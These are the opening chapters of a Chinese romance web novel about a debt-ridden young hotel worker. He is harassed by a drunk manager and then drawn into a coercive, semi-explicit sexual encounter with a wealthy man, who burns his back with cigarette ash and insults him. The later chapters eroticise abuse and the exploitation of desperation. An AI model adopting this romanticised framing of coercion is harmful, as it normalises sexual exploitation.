《可怜小美人带球跑》
1. 名片
江城六月淅沥潮湿的雨气,在凌晨两点的黑暗里变得尤为缠人。
随着一阵急躁的脚步声响起,医院的急诊台被随之而来的救护车打破宁静。
等待中的值班护士立刻起身去帮忙。
救护车上,一个脸色发白失去意识的老人被担架抬下,后面陪同的,是一个年纪不大的男青年。
他穿着一件手洗太过而略微透肤的白色短袖,头发被雨或是被汗湿了,乱乱的湿发搭在额角,遮住了眉眼,单薄的身形有些不稳。
护士多看了他两眼,只觉得眼前这位青年或许也该挂个号看看。
他看起来也像是要随时倒下的样子。
“家属请先去缴费。”
手术室的灯亮起。
白荔的脚步并不停歇地在医院里赶,缴费挂号,再回到手术室门口签同意书。
安静的医院,走廊落针可闻,空气里的噪音在耳边被无限放大。
在无尽漫长的等待手术室灯暗下来的时间里,他颓然滑坐在地,双手合十交握在胸口,却不敢闭上眼睛。
这是奶奶第二次因为病情恶化进医院了,离上次来医院已经过了一年。
突如其来的意外让毫无准备的白荔身心俱疲。
他将掉落在鬓边的碎发撩到耳后,露出一双潮湿迷茫的双眸,双唇却依旧平直地紧抿着。
两年前,父亲赌博输光了家产,负债累累后,那天清晨,父亲站在二十楼楼顶一跃而下。
母亲承受不住,只好带着五岁的弟弟离开江城,留下了刚成年的白荔和接受不了打击而脑卒中的奶奶。
那年,一穷二白的父亲中了头彩,成了人们口中上不得台面的暴发户。
尽管如此,父亲还是靠着这笔资金做起了生意。
开公司,办工厂,赚了不少钱,开始风生水起。
白荔以为自己会这样幸福地过一生,没想到人生翻天覆地也只是在一瞬间。
他从过惯娇贵日子的小少爷,到后来辍学,上班,养活自己和奶奶,背了一身的债。
他并不憎恶任何人。
只是,好累。
手术室亮起的红灯在一瞬间熄灭。
白荔的心头一跳,立刻从地上爬起。
“林奈荣患者家属。”
“是!”
眩晕感铺天盖传来,白荔几乎是跌跌撞撞地跑过去。
他紧张地拽着衣角,手心里冒出的冷汗将衣摆汗湿。
“病人暂时脱离生命危险,但由于患者年纪太大,还得暂时住院观察,防止病情恶化,我们的意见是……”
医院外面还在不停地下着小雨,滴滴答答的雨声细细碎碎的,透过外墙传了进来,斥进充满着消毒水的走道里。
白荔站在ICU门口,看着仿佛只是陷入昏睡中的奶奶,他咬着唇,眼底通红一片。
医生说,奶奶的身体已经不可能像年轻人一样康健,往后病情恶化会愈加频繁。
不一定能活多久。
去年能离开医院带回家照顾的奶奶,现在一动不能动。
此时正靠着呼吸机安安静静地躺在那张冰冷的病床上,哪也不能去。
白荔不知道该怎么办。
整个人陷入一种失重眩晕的恶心感。
他拍了拍自己的脸,强行打起精神。
还得去缴纳押金,他不能倒下。
白荔走向缴费台,打开手机看着只剩下个位数的余额,他呼吸顿停,整颗心都被紧拽住。
没钱了。
父亲负债的巨额贷款落在他的头上,而上个月的工资也早就在凌晨缴费时花完。
网上正规的借贷他已经透支了个遍,再也无处可借。
白荔蹲坐在医院的小路上发呆,不知过了多久,终于等到天亮。
看着时间差不多,他在心里预习了很多遍,才敢拨通酒店管理姐姐的电话。
“是白荔啊,怎么了?”
电话里的女声还有些疲倦,看样子才睡醒。
白荔一下紧张起来,“林姐,早上好,打扰你了……”
“我也该醒了,有什么事情?”
“我想跟您借点钱,”白荔的声音有些颤抖,“等这个月发工资了,我就马上还给您,可以吗?”
“就这个啊,倒是没什么,要多少我等会儿打给你就是了,是出什么事情了?需要我帮忙吗?”
“不是什么很大的事情,”闻言,白荔松了口气,“谢谢林姐,谢谢,改天请你吃饭。”
“行啦,今天要帮你请假吗?”
……
没过一会儿,白荔就收到了林淼转的五千块钱。
可惜这钱只够让奶奶在ICU病房待一天。
白荔燃起的希望,在收到钱的那一刻,又立即陷入绝望。
小雨不知何时停了下来,天空还是阴霾的。
白荔交完费用之后又回到病房看了一眼奶奶,才离开人声逐渐嘈杂的医院,往工作的酒店方向走去。
高中毕业那年他辍学了。
考上的大学也并没有去上。
直接投入工作中的他没有良好的学历支持,找不到特别好的工作。
投了许多简历都无疾而终,最后还是凭着优越的外貌,才在那家五星酒店里找了个迎宾送客的服侍生岗位。
现在时间还早,快点走的话能赶在打卡之前回到酒店,省掉两块钱的公交费。
白荔需要钱,一天都不敢请假,也完全不敢迟到。
他拖着疲惫的身体匆匆忙忙地闯进潮湿的空气里,沉重的脚步停在斑马线前。
对面的红绿灯,在他模糊的视线里被撕扯得混沌,才停下的雨不知何时又开始绵绵落了下来。
好恶劣的天气。
雨丝落在人脸上,仿若密密麻麻的针脚,带着轻微的刺痛。
白荔的头有些疼,他无力地低垂着脑袋,摇摇晃晃的,隐约看见身边一同等待绿灯的行人向前走去。
他这才抬头看了一眼马路对面的红绿灯,明明看见了红灯还未变,人已经不假思索地迈动了步子。
他听到有谁叫了一声,但没去理会。
刹那间,一辆轿车与他擦肩而过,手臂上传来一阵淤疼,吓得白荔立刻精神了三分。
他抬起慌乱的双眸,马路对面早已是下一个红灯闪烁。
那辆黑色轿车稳稳在他跟前停下,从驾驶座上下来的,是一个西装革履的男人。
他比白荔高太多,一下子,白荔没能看清他的脸。
“……”
苏堂玉的脸上没什么表情,似乎对人以此谋生感到司空见惯。
他看了眼车子,才转而把目光放在了冲出来的白荔身上。
他盯着白荔捂着的手臂看去,眼眸不悦地压了下来。
上个月刚被不长眼的碰瓷,这会儿又来了。
他淡漠开口,“需要去医院吗?”
“不……”白荔摇摇头,声音有气无力,“不需要。”
“那就是要钱。”
见白荔没有否认,苏堂玉无言嘲讽。
随即,他瞧见面前的青年顶着湿热潮红的脸朝他看了过来,双睫颤抖着很快别过了眼去,“我没事,不需要你赔钱……”
他看起来不过二十岁,很清瘦,眼尾有一颗很小很浅的痣,让那张一眼清纯白花的脸多了些媚色。
不过他很快就把头低了下去,单
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薄的脊背在被雨缠绕着的水洗短袖里映出来,宽松的衣服下面,腰却纤细得明确。
苏堂玉微微低头,看见青年柔白的后颈中间落着一颗小红痣,蒙蒙的雨丝落下来,将那颗小痣弄得绯红湿透。
“……”
耳廓上的蓝牙耳机在这时接进电话。
苏堂玉皱眉,从西服内侧口袋里拿出一张名片随心所欲地按到白荔身前,“有事联系。”
白荔原本不想接,但男人递出后就转身回到了车里。
对方似乎在和谁打电话,白荔听到他语气低沉,“他要死就让他去死。”
语气很是不明朗,叫人感到害怕。
白荔闻言,目光追着男人的背影去。
对方身高腿长,肩背宽阔,比例和高档橱窗里的假人模特一样,将身上的正装外套撑得没有一丝褶皱。
是模特吗?
对面,下一个绿灯已经亮起,白荔来不及想那么多,他收好名片,和等待同行的人一路往斑马线那头走去。
*
白荔完全不知道要从哪里弄到这么多钱。
一天五千块,三天就要将近一万五,卖了他也不值那么多。
白荔深吸了口气,终于熬到下班,在更衣室换好衣服后就去医院看奶奶,再去做兼职。
他目光呆滞地盯着自己的柜子,听见有人往更衣室来,便快速套好衣服合上柜门往外走去。
可惜,他还是晚了一步,听见同事在说关于他的事情。
“那个白荔,今天又穿得破破烂烂来,真是的,而且经理对他真是上心……”
与说小话的人迎面相对。
那人没想到白荔就在里面,尴尬得脸色一红,又傲气地撇了撇嘴,没打算道歉。
白荔现在没心情跟他计较,往前走了两步与之错身,想到什么,又停下来走到他面前。
“干嘛?”那人梗了梗脖子,“我说的不是事实吗?捡垃圾的人都比你穿得好。”
白荔没接话,转而问道,“你们俩能借我点钱吗?”
“你疯了吗?我们哪有钱!”
白荔垂下眼眸,抿唇和他们商量,“我以为你们这么说我,是因为自己很有钱呢,实在不行,一人借我一千五百块就可以了,我可以给你们打欠条。”
“……”
最终,两人凑了凑,莫名其妙地给白荔凑了两千两百块。
他们也实在没钱,嘱咐白荔一定得还。
剩下的,或许可以跟兼职店里的老板预支一些工资,白荔的心情豁然开朗了些。
从兼职店回到那个狭小的出租房,已是深夜。
打开门就是一张床,他望着空荡但又拥挤的房间,仿佛看不见未来的黑暗。
兼职店里的老板并没有同意预支工资的事情,倒是和老板的儿子借了五百,对方才刚成年,还在上学,白荔借的这钱,借得惴惴不安。
好累。
白荔靠在床边,伸手去拿叠放在床头柜里能换洗的衣服。
很快就要天亮了,他得想办法接着凑钱才对,要不然这段时间再找一个夜班上吧。
困倦袭上他的眼皮,脑子却沉重得进入不了一点睡眠。
头好疼。
白荔站起来,想速战速决地冲个澡再想办法。
转身去浴室时,余光瞥见脚边掉落一张黑色的纸片。
他捡起来看了一眼,才想起那是早上撞了他的那个男人留下的。
黑金色的名片,金贵得和那人一样。
“苏堂玉……”
白荔念着他的名字,垂眸瞧见自己手臂散开的大片淤青。
他不知道在想什么,咬着唇,捏紧了手上那张名片。
2. 骚扰
奶奶在ICU病房,身体逐渐稳定下来。
医院的账单出来了一大笔,靠着东拼西凑的钱,白荔也只能够缴其中的一部分。
一交完,连饭钱也不够,早就该上交的房租,他也只能跟房东一推再推。
手机电话声一阵一阵响起,听得白荔的心阵阵发慌。
父亲的外债每天都有人打电话过来催款,那金额如同无底洞一般,怎样都填不满。
白荔疯了一般地熬夜打工,一星期下来,每天睡两三个小时,人在崩溃的边缘随时都会倒下,也不过挣上两千块。
而奶奶在ICU待一天,就是五千打底。
两千块,完全就是无用功。
酒店值班结束,白荔回到更衣室换衣服,再休息两个小时,他还要去早餐店工作。
他有些麻木地重复着去做着这些事情,短短几天,他身形一下消瘦了不少,连原本该合身的酒店制服也松松垮垮的套在身上。
现在是凌晨一点,酒店里没有多少客人来,自然也是安静。
没稍一会儿,白荔听到了更衣室外传来的脚步声,还以为是交班的人来了,他这才放下来心把衣服换好,边交代着等会儿需要那人做的事,“王铭,503号房有个客人今天过来的时候落了一把雨伞,我放在了前台,早上你提醒前台联系客人。”
好半晌,那个话多的王铭却没开口回应。
白荔疑惑了两秒,刚套上自己的衣服,腰却猛然被人从后面搂紧。
他的背撞到了那人的怀里,黏糊恶臭的温热落在他的耳后。
“白荔……脱衣服是在等我吧……”
一股酒味从周身环绕而来,身后的男人显然醉得不行,沉重的身体将白荔压在柜门上,让人挣扎无力。
白荔被这突如其来的举措吓得僵直了身体,随之男人在他身上乱摸的手,才吓得白荔奋力挣扎起来,“经理……?经理你喝醉了!”
“别动!你叫我哥哥吧,嗯?”
“现在又没人来,宝贝……让哥哥疼疼你好不好?你好香啊……我喜欢你很久了你都知道吧?整天勾引我我受不了了,宝贝,我亲一下我亲一下~”
“放开、你放开我……!”白荔见人根本不松手,他的脸色愈加惨白,努力稳住声音试图挽回人的一丝理智,“我没有勾引过你!经理,你喝醉了,等会儿会有人过来的……”
空调的冷气在换衣间里弥散开来,让人冒出汗的脊背阵阵发凉。
几番挣扎过后,白荔全然没了力气,才将人推到一旁,男人又很快扑了过来。
他对白荔失了气力的拳脚毫不在意,便一把抓住了白荔的手往身上蹭,呼吸急促得兴奋,“听说你最近在四处借钱,满足我我就帮你,你知道,我也有不少积蓄的。”
“不要!不要!”
“别动!那不然你想反抗我吗?你应该不想失去这份工作吧?”
一句话猛然入耳,那一瞬间,白荔陷入完全的呆滞。
身上的重担已然快要将他压垮,一闪而过的卑劣念头在他脑海里快速形成。
解脱。
只要能解脱,怎样都好。
男人出了汗而濡湿黏腻的手在抚摸他的脸,往他脸上留下一道道水痕。
好恶心。
白荔低下头去,避开他的触碰,在男人的唇贴过来的那一刻,更衣室的门口响起了开锁的声音。
窸窸窣窣的钥匙碰撞锁眼的声音,让极度慌张的白荔下意识地用尽全身的力气将人推开。
“白荔,在吗?干嘛锁门呐?”
王铭拿着值班钥匙开门进来,看见醉酒的经理倒在地上,而旁边站着的是衣衫不整的白荔,他惊讶过后又很快平静下来。
“王铭,”白荔开口,“不是你看到的这样的……”
“就算有什么我也都不会说的。”王铭瞥了地上醉酒过去的经理,“要帮忙把他抬出去吗?”
“嗯……谢谢。”
一场闹剧,让白荔更加身心疲惫,从早餐店回来,已经是上午十点半,一点钟他要回酒店上下午的班。
应该要更积极地工作的,可是凌晨在更衣室出了那样的事情,白荔忽然有点不知道怎么面对。
提心吊胆地睡了一个小时,一个小时都在做噩梦。
连去酒店的路,都很忐忑。
白荔需要这份工作,很需要,他不敢想如果被经理报复开除的后果。
回到酒店,就有人不断用异样的眼光看着他。
他们偶尔低声交谈,还会在看他一眼之后发出不加掩饰的嗤笑声。
王铭说替他保守这个秘密的。
但是显然,现在已经不是秘密了。
白荔按部就班地做着自己的事情,努力屏蔽掉外界带来的干扰。
比起这些不太善意的眼神,催债的电话和经理的骚扰更让他觉得痛苦。
白荔躲开他们的恶意搭话,只安分做好的自己事情,他的大脑已然因为休息不足而感到无法思考,一片空白。
幸好,经理暂时没有来找他的麻烦。
*
林淼听了人传出来的风言风语,下午巡查的时候特意绕过去看白荔。
她去看望的时候,白荔正在门口迎宾的位置,见人来了,微笑鞠躬。
青年有良好的职业素养,可认真看他,却是一副强撑着,随时会倒下去的样子。
他这段时间愈发瘦了。
眼下的青黑,失了肉感的脸颊,站在那儿还是能拿得出手的漂亮,可一眼看过去却像朵被揉碎的蔷薇花,摇摇欲坠。
白荔是她带进来的,这会儿见他弄成这样,林淼心里十分不好受。
前两天白荔还跟她借了钱。
林淼对于白荔的情况多少知道一些,肯定又是家里出了问题。
今天又发生经理李树明欺负他的事儿,林淼不知道要做什么才能够帮上忙。
她虽然生活还算过得去,但也仅仅只是过得去而已。
白荔遭遇的窟窿太大,旁人好像根本就帮不上。
普通人,哪能一下子拿出这么多钱来呢,她想帮忙也是有心无力。
林淼尽自己所能再给白荔打了两千块,等他下班之后才告诉了他这件事。
“林姐,你不用……”白荔无措地看着她,眼眶通红着,哽咽着说不出后面违心的客气话来。
他真的很需要这两千块,很需要。
“谢谢你,林姐,真的很谢谢,一有钱我就马上还给您。”
他颤抖着声音,低垂着脑袋,略微青涩的脸庞是还未完全褪去的稚嫩。
才二十岁,到底还是个孩子,又能怎么样呢。
这个年纪,其他人还在跟父母撒娇,讨要生活费,白荔已经为了生活,摸爬滚打三四年了。
林淼见他这样,心里更加不好受,拍了怕他的肩膀,安慰他,“没关系,钱我不急。”
林淼说不出什么坚持一下没有过不去的坎之类的话,亲眼见证了这么难过的人生,哪里还能轻易地嘴巴一张一合就说出这样轻松的话。
“谢谢……”
收了林淼借给他的两千块钱,白荔眼睛都跟着亮了。
他租的小房子,一个月只要五百块,之前一拖再拖的房租也能稍微垫上了,至少能够暂时将房东从催债人名单中扣除。
这两千块,仿若及时雨,让白荔的压力减轻不少。
晚饭在员工食堂免费解决,白荔最近睡得不多,只能让自己多吃点饭。
晚上他要去夜市的摊点兼职,时间差不多,他得快点了。
将空餐盘放回回收处,白荔急着回更衣室换衣服,出餐厅时正遇到有人跟他搭话。
是上次说他小话被抓包,后借了钱给他的其中一个同事。
男人和
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同行的人互看了一眼,才笑着对白荔道,“诶白荔,前几天我借你的钱你该还了吧,我也要交房租了。”
“好,等一下。”白荔没想那么多,林淼借了他两千,还了五百房租,还剩一千五,倒是能先还掉一个人。
他没有犹豫,拿出已经用得很卡的手机,花了一分钟耐心地等待着应用app跳转到转账界面,结果页面卡死闪退回主界面了。
面前的两人皱着眉无语地望过来,白荔有些不好意思,“我手机有点卡,等我一下。”
他清空了后台,点进去重新操作,好在这次手机没有让他等太久,只是电量快速下降了,发出低电量提醒的声音。
那两人这会儿突然通情达理起来,并不催促,只是不怀好意地笑问他,“怎么搞的,你怎么突然有钱了?白荔,你哪来的钱啊?有钱就换个手机嘛,你这用着多不方便。”
听到他们的嬉笑声,白荔没有回答,只是默默将钱转给了他,“好了,你看一下。”
“哦,收到了,”他看了一眼自己手机来的转账通知便放下,即使白荔此刻没有理会他的调笑,他依旧想要从白荔身上挖出一点什么笑料来,“我的还了,你把吴其名的也还了吧,反正你不是‘发’了吗?”
“……”
男人咬文嚼字,把那几个字随便咬了几个重音,听起来阴阳怪气的。
“我会还的。”
白荔不想和他们纠缠,看了眼时间转身离开,听到身后的男人诶了一声,而后笑道,“果然成功上位了,这不,穷光蛋一下能拿出这么多钱……”
脑海里噩梦般的触碰随着闲言碎语不断放大,白荔垂在身侧的手紧握成拳。
他不断告诉自己,他不能失去这份工作,他需要很多很多钱,才勉强将呼之欲出的恶心压下来。
从夜市兼职的摊点回来,又是凌晨。
白荔打开手机,通篇不堪入目的催债短信,以及同事要他还钱的信息,字里行间透露出的贬低。
日子好像每到他停下来休息的时候,就会变得更加难熬。
白荔的背倚靠在床角,看见门口的房梁上不知何时结起了蛛网。
地面乱糟糟的。
书本、毛巾、衣服,垃圾堆得到处都是,颓败的生活和狭窄脏乱的小屋子,空气的霉湿味,和他的人生一样灰暗。
白荔的双脚在白天走得麻木,现在沉重得仿若灌了铅一般。
他坐在地上不想动,热气蒸腾的夏天室内,只有贴在地面廉价的瓷砖上,才会让他稍微感到活着。
白荔躺倒在地。
天花板上晃晃悠悠的老式风扇,发出嘎吱嘎吱的声响。
他枕着的手臂感到一阵隐约的疼痛,抽出手来瞧,果然是之前被车擦过的地方还未好。
淤青不知不觉地在手背上扩散,发青发黄。
白荔盯着那块淤痕,心跳在催债电话再度进来时不自觉加快。
白荔关掉手机,试图阻止对方的骚扰,可无济于事。
一遍遍的电话轮番进来,弄得他精疲力尽,汗湿外衣。
他坐起来,在仿若催命的来电显示中,找到了那张被他压在抽屉底下的黑金色名片。
偷也好骗也好。
他现在需要很多很多钱。
白荔觉得自己已经疯了,才会在深夜不管不顾地拿出手机给名片上那个叫苏堂玉的男人打电话。
直到电话那头接通,他突然如梦初醒。
“苏堂玉,哪位?”
电话里,男人的嗓音微微沙哑,和那天真实听到的刻薄无情的声音略有不同。
白荔想起男人决绝的背影,以及没有人情味行事作风,其实他已经后悔了。
正在他准备逃避而挂掉电话时,那边传来一阵轻微的噪音,仿佛在不耐地催促他快点回答。
“……”
“苏先生,您好。”
3. 趴好
苏堂玉同意和他见面。
晚上六点,结束了白班。
白荔和同事交接完岗位以后,就匆忙回去换了衣服。
他推了今晚的兼职,现在正要赶去约定好的见面地点。
夏季夜晚的六点,晚霞还留在半天边,地面笼罩着一层明媚的金黄。
傍晚的阳光依旧灼人,燥热袭上后背,陡然增添了几分焦灼感。
在出酒店的路上,白荔听到身后喇叭声响,他往旁边让了一让,那车子径自行来,在他身边停下。
“白荔。”
是经理。
男人的声音如同恶魔般低语,让人汗毛直立的混沌感,粘液一般沾了上来。
“你去哪里,我送你,昨天的事情我们谈谈……”
闻言,白荔走得更快,厌恶的念头让他下意识跑了起来。
他一鼓作气地跑到酒店外头的公交车站牌,幸而这个点等车的人不少,男人不会贸然过来将他带走。
白荔看见他的车从酒店驶出,最后没有停留地消失在了他的眼前,最终安下心来。
时间流逝很快,公交车不知为何久久不来,白荔只好忍痛打了一次车,这才堪堪赶上约定好的时间。
见面的地点约在了市中心的千百会所。
前些年,白荔跟着父亲去过几次,对那里的印象虽然模糊,但也不算太过陌生。
只是他没想到,男人会在最顶层等他,他记得,千百会所的最顶层是不允许客人进入的。
白荔在工作人员的指引下,去了左边直达顶层的电梯。
站在门口,白荔更是露怯,犹豫再三才敲下门去。
里面没有发出任何响动,白荔不敢贸然开门,等了好一会儿,才听到有人的脚步声逼近。
白荔的视线平视前方,下一秒门锁从里面被打开,他一眼看到的不是什么室内装潢,而是男人敞开西服扣子的胸膛,和一条随意搭在胸前的暗色领带。
“啊,您好。”
白荔脸色一红,往后退了一步,再抬起头来,才能看清男人的脸。
他凤眸深邃,像精雕细琢五官笔挺的雕塑,此刻微垂着眼皮看过来,不加掩饰的打量目光在自己身上扫过。
直白的、露骨的。
或许是不耐,或许是厌恶。
白荔感觉到他的视线在自己身上从头到脚划过,一种难以言喻的羞臊和窘迫直逼脸颊。
也许是因为带着目的而来所以太过心虚,他顿时涨红了脸,在男人侧身让他进去时,更是烫到了耳尖。
他不好意思地朝男人点了点头,“谢谢。”
原来这边不是包间,是办公室。
那张办公桌后还连着一片落地窗,夜晚的星河同远处马路尽头的灯光连接,绵延出一片闪烁的光点。
白荔有些拘谨地站在男人的办公桌前,听到他说,“坐。”
“谢谢。”
那张实木椅子有些重,白荔单手去挪,只能移动一些,但椅子和地面却摩擦发出刺耳的噪音,惹得男人抬眸瞧了过来。
白荔面红耳赤,双手奋力抬了一下,才将椅子安静拉开坐下,男人却不再说话,只是坐在那里阖眸翻阅着手上的文件夹。
办公室里安静异常,白荔几次想开口,都不知道要如何提起话头才对。
他是借口来要钱的,第一次做这种不光彩的事情,让他觉得羞耻无比。
白荔双手叠放在膝上,此时紧张地捏紧了自己手臂上还没褪去的淤青,手心里的汗湿透皮肤。
他开口道,“我想和您谈谈,赔偿的事情。”
白荔知道自己的话听起来很无厘头,甚至有点不可理喻。
可是他真的想不到办法了,只能做出这么卑鄙的事。
苏堂玉拿起钢笔的手停留在文件签名处,闻言,终于抬眸看向坐在对面局促的青年。
他说出这样的话来,却并没有将眼皮抬起一丝一毫,仿佛说完这种话就已经用尽了所有力气。
青年的脑袋微微垂下,睫毛向下弯出一道漂亮完美的弧形,眉眼浓郁得精致。
苏堂玉透过镜片看向面前的人,钢笔在纸上签下名字,视线却未曾离开青年的脸。
“把头抬起来。”
白荔听见男人说了这么一句毫不相干的话。
他听着话,下意识地抬起头来,正对上男人似乎突然来了兴致而饶有兴趣的眼神。
他嘴角噙着淡薄的笑意,是恶劣的,一种漠视的高高在上的打趣和精明。
白荔忽然意识到,自己是不可能在这个人身上讨到任何好处的。
他不安地抿紧唇角,却不敢在男人没有发话的情况下擅自临阵脱逃。
密闭的空间里,就算两人离得并不算近,可男人落在自己身上的视线,却近得仿若要揉进了自己的身体里。
白荔颤着眼睫回避男人审视的目光,再度慌乱地低下头去。
与此同时,他听见男人说,“那么,你想要多少?”
他的嗓音醇厚,彼时声音透进耳膜里嗡嗡作响。
理智告诉白荔,男人说这句话不是松口,而是一种警告,可他还是抱着一点点希望,鬼使神差地将数字报出了口,“我要……五千。”
苏堂玉皱眉,“多少?”
“五千块,”白荔还以为是自己要的太多,连忙改了口,“三千、三千也行。”
话一出口,男人突然笑了,他凝眉,依旧有些怀疑的语气,“三千?够吗?”
白荔此时已经有些发抖了,做错事的心虚让他控制不住声音的腔调,干脆没有回答,他只是点了点头,表示够了,便把头埋得更低。
苏堂玉往后仰,靠在那张真皮座椅上,微阖的双眸睨着面前不让瞧脸的青年,只见他的发丝乖顺地垂下来,衬着耳尖愈发红润。
苏堂玉莫名想起他后颈中间落着的红痣,在那天的雨丝里被白皙的皮肤衬得愈发湿透红艳。
“不够吧。”
他虚着眼瞧他,目光暗下来,一瞬不瞬,“既然是敲诈,三千怎么够呢?”
嗡——
白荔闻言,呼吸停滞,脑子里一片空白。
男人的话如同一把重锤,直直向他身上敲来。
敲诈。
这个罪名太大了。
白荔瞬间抬起头来,脸上的慌乱表露无遗,“苏先生,我……”
男人却没有给他说话的机会,拿着手机往外走,一个多余的目光也未曾给到他。
是要报警吗?
不可以!
白荔心中警铃大作,有过几千次几万次的懊悔,他不应该来找男人,更不该做出这样荒唐可耻的举动的。
他确实有错,可他不能去坐牢。
奶奶还躺在医院里等着他赚钱去救命呢。
"苏先生,您确实撞到了我,我的手臂到现在还疼……"
白荔跟着起身,跑到了苏堂玉身前,伸出双手拦住了他的去路,“是您说有事就联系您的,我不是敲诈不是诈骗,请您不要报警。”
“让开。”
男人直视过来的目光,带着些许不耐,那张金贵的脸上满是不信任的神情。
白荔被他的低声呵斥吓了一跳,可现在进退两难,比起坐牢他宁愿现在吃点苦。
“不要……”
白荔强迫自己不能低头,慌张之下,他拉住了男人的手臂,“只要您不报警,让我做什么都可以的,我会干
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活什么都能干!”
“苏先生,求求您、行行好……”
他的求饶声并不清晰,还有一点带着哭腔的颤音,黏黏糊糊的,像融化了一手的冰糕。
连同那双看过来的眼睛,也蒙上了一层漂亮的雾气。
苏堂玉眼皮一跳。
原是想让他拿钱就滚,可这会儿苏堂玉忽然改变了主意。
他插在口袋里的手松开了那张要扔给对方的银行卡,随即大跨步逼迫着白荔往后退去。
直到后背触碰到身后那棵一人高的绿植,白荔才停下脚步,而男人高大的身躯在这时自然而然地压下来,恍如一座山,将他的视野遮掩。
“做什么都可以?”
“原来是这个意思。”
那带着嘲弄的声音传入耳膜,白荔想他可能是误会了。
被人围住的不安感,让白荔想起在衣帽间被经理强行抱住的画面,他浑身激颤忘了解释,下意识地伸手朝苏堂玉推去,“不要。”
他分明用了全身的劲,可男人依旧站在他身前岿然不动。
白荔低着头,只看见男人的衬衫一角轻微晃动。
对方好像喷了香水,离得近了,白荔能感觉到有很淡的冷杉味笼罩而来。
白荔的身体有些许的僵硬,完全不敢去看对方的表情。
就这样,谁也没动。
僵持了半天,身侧的门锁被男人拧开,室外的空气灌进来,冲淡了男人身上的木质调香水味。
“出去。”
简洁而明了的命令,没有感情和起伏,但却仿若在这一刻宣判了白荔的死刑。
他还没得到男人愿意放过他的首肯,他不能就这么离开。
奶奶还等着自己筹钱回去,他还要还清自己欠下的债。
“苏先生……”
白荔视线跟随着男人的步伐,脚步也同样跟了上去。
“不是的,苏先生。”
他小跑上前搂住了男人的腰身,试图让对方回心转意,“不是的……”
男人沉默地站在那里,没说话,也没有甩开他的手。
白荔见此,顾不上任何,没有经验的他不知要在这一步先干什么,便摸索着,粗俗地伸手去解男人的皮带。
或许是他的手抖得有些厉害,半天也没打开男人腰上的金属卡扣,所以看起来没意思极了。
因此,男人并未被他的言行打动,反而甩开了他的手,“我不喜欢强人所难。”
“不是的,我只是不知道……”白荔的声音小了下去,脸色涨红得像打翻在地的树莓果酱,“我没有经验,所以不太懂。”
一上来就解人皮带的人,竟然说自己什么都不懂。
苏堂玉觉得可笑。
“欲迎还拒装作纯情也是你们这种人服务的环节?”
男人说的话很是让人难堪,白荔却并不在这里反驳他的话。
比起这种误会,他只想快点结束一切,然后平安离开这里。
在男人的注视下,白荔咬着唇,扯下一点裤腰,撩开了自己的上衣下摆。
那件水洗过透的白色短袖,在白荔手里捏紧一角,露出柔白的小腹来。
“嗯……”他不敢看男人的脸,只是低着头,声音轻轻的,带着一点紧张的哼气声,“做吧,苏先生。”
室内寂静无声。
白荔以为自己做得更错了,在模糊的光影中,他瞥见男人拉开办公桌的抽屉。
过了两秒,他听见打火机传来“咔哒”的打火声。
清脆的,又有些沉闷,让白荔的心里无端一紧,冒出一些汗来。
“操,骚货。”
烟草味顺着男人的低骂声传来,“过来趴好。”
4. 落地窗
白荔听见自己的呼吸声重重传来。
从胸腔到鼻腔,控制不住的声音填满整个房间。
让人喘不上气的烟草味,随着吸气涌入身体里,致使脑袋一片空白。
白荔只感觉自己的衣服皱皱巴巴地揉在身上,黏着沁出的汗,在胸前弄成一团。
他迷糊间抬眸,眼前没有东西遮掩的落地窗,在黑夜里如同一面硕大的荧幕,将他此刻的窘境毫无保留地在眼前放映。
窗外的灯光,黑幕里,映射出男人手指上的那一点橘黄色的火光,在他模糊的视线里不断晃动。
自己是什么表情?对方又是什么表情?
白荔闭上眼睛,不敢去看玻璃窗上的自己,也不敢去看男人。
只有初次的异样感,不断刺激着他的大脑,在混沌和清醒之间不断徘徊。
白荔踮了太久的脚尖,终于撑不住,整个人失了力气往下滑,下一秒就被人拽着往上抬。
“别偷懒,”男人皱眉,不悦的声音变得低哑,“抬高。”
白荔听话,又咬着唇扭头看向对方,“先生,能不能找个房间,我有点害怕。”
他的双眸湿透,不知道哭了几次,睫毛湿润变得更加纤长,声音也是涩得带上鼻音。
苏堂玉的目光扫过他紧咬的唇,怔怔地看了好几秒,才又往嘴里送了口烟,“装什么。”
“又不是第一次。”
白荔脸色顿红又白,闻言不说话了,只是将脸贴在办公桌上,不敢再抬头看一眼。
苏堂玉低头,顺着白荔盛满汗珠的柔白脊背看向他的脸,还有那双不敢张望而紧闭着双眼的眸子。
苏堂玉皱眉,对于白荔主动勾引现在又是这副委曲求全的模样有些不爽,他指间抖落的烟灰随意掉落在他背上,很快就在他的皮肤上烫出点点红晕。
“睁眼,别弄得像我欺负你一样。”
他弯腰捏住白荔的脸,让他抬起头来,可那双垂顺的湿润的双眸,在接触到面前的玻璃窗时,又很快慌乱地低了下去。
苏堂玉似乎也发现了端倪,他目视前方,看着玻璃窗上两人的身影,愉悦地低伏下身去,“自己的骚样不喜欢吗?把眼睛睁开好好看看。”
白荔摇着脑袋,求苏堂玉不要再欺负他了,只咬着唇催促他,“快点。”
或许是如此焦急的话语取悦到男人,他听见男人的嗤笑声紧在耳边响起,“又急什么?”
白荔朦胧着泪眼,看见他把手里只剩半截的烟按在办公桌上,而下一秒他也如同那支烟一样被男人按着,如同被伐掉的木桩。
被人一次次凿穿。
白荔神志不清,眼前一片白花时,感觉到男人低头来亲他。
不是很温柔的,偏有些强势和粗鲁,只不过是因为,这是第一次和别人接吻,所以依旧叫人羞涩。
白荔躲不及,只能生涩地回应。
“吻倒是烂得像第一次。”
他听到男人这么说。
白荔没有反驳,因为,确实是第一次……
吻是第一次,那个,也是。
*
白荔好久没有睡过这么沉的觉了。
硕白的室内光线刺痛他的眼睛,迷迷糊糊睁开眼。
他睡得天昏地暗,分不清时间是早晨中午还是晚上。
几点了?还得上班。
他坐起来想去找手机,脚尖却勾到毛毯,一下跌坐在地,疼痛才恍然铺天盖地袭来。
身体恍如翻了好几座山一样疲倦,近来他总是这样,工作时长多劳动太过就连站也站不稳……
白荔的手撑到身后的沙发上想要站起来,忽然觉得哪里不对。
便抬头,看见落地窗前的男人,他背对着自己站着,颈间的暗色领带松垮地搭在肩膀上,正和谁打着电话。
不知道电话那边是谁,男人时不时传来的轻碎的说话声,有些过于温柔了。
和同自己说话时的语气大相径庭。
周围陌生的环境此刻将记忆全都推进了白荔的脑海里,他习惯性地去拽自己的衣服下摆,却发现自己现在只穿了一条裤子。
这条裤子被他穿了太久,裤腰太大了,没拉上松紧的抽绳很容易就会掉下去,而这条绳子现在不见了踪影,白荔只好用手去捏裤腰,另一只手在沙发上翻自己的白色短袖。
